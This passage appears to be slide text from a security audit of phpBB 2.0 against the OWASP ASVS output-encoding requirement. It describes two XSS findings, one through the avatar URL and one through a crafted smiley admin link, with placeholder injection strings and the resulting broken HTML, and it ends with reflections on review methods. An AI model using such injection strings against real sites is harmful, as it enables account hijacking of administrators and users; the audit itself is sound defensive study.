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Verdict



Avatar remote-URL XSS

• User submits: 
http://url"/>Evil HTML.jpg

• SQL generation: 
", user_avatar = '" . str_replace("\'", "", 
$avatar_filename) . "'"

• HTML generation: 
'<img src="' . $postrow[$i]['user_avatar'] . 
'" alt="" border="0" />'

• Final HTML: 
<img src="http://url"/>Evil HTML.jpg" alt="" 
border="0" />



XSS + Smileys

Exploit:

1. Make administrator click on link:

/admin/admin_smiley.php?smile_code=
test&smile_url="/>Evil HTML.jpg&
smile_emotion=test

2. Make page with test smiley in it; view_topic.php outputs:

<img src=""/>Evil HTML.jpg"/>

3. Profit! 



Reflection

• OWASP/ASVS
o promising for big projects
o very high-level
o needs translation to specific environment

• Our project: too small and too specific
• Source scanning tools (Fortify)

o too many results
o good presentation of results

• Manual review
o takes a lot of time
o phpBB v2.0 is badly structured


	V6: Output Encoding/Escaping (HTML)
	Verdict
	Avatar remote-URL XSS
	XSS + Smileys
	Reflection

